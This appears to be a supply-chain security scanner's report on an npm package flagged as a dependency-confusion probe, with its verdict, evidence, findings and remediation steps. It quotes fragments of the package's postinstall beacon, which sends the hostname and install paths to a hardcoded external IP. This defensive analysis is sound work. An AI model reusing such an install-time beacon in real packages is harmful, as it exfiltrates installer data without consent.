@grabcad/grabcad-shop-shared@1.0.1
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 3h ago · by lpm-firewall-aiThe postinstall hook automatically discloses host and installation identifiers to a publisher-selected external collector without installer consent. This is concrete installation-time data exfiltration, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package or importing index.js.
Impact
The collector receives identifying information about the installation and its environment.
Mechanism
beacon.cjs collects the hostname, install path, working directory and npm user agent, then sends them in an HTTP POST without an installer consent check.
Attack narrative
Installing the package triggers a beacon that sends the host name and installation paths to a hardcoded external endpoint. Importing the main entrypoint also fires the beacon. The README calls the package an authorized test, but the source does not establish consent from the installer.
AI rationale
The postinstall hook automatically discloses host and installation identifiers to a publisher-selected external collector without installer consent. This is concrete installation-time data exfiltration, so the package should be blocked.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically during postinstall.
- The beacon sends an HTTP POST to a hardcoded external IP address.
- The POST contains the machine hostname, install path and working directory.
- The beacon sends the collected payload without an installer consent check.
- Importing index.js calls beacon.cjs fire() immediately within a try block.
Evidence against
- The README describes the package as an authorized dependency-confusion test, but source provides no installer consent mechanism.
Behavioral surface
Network
UrlStrings
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/grabcad-shop-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
6 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/grabcad-shop-shared@1.0.1.
See all versions of @grabcad/grabcad-shop-shared for other recorded verdicts.
- Avoid installing @grabcad/grabcad-shop-shared@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.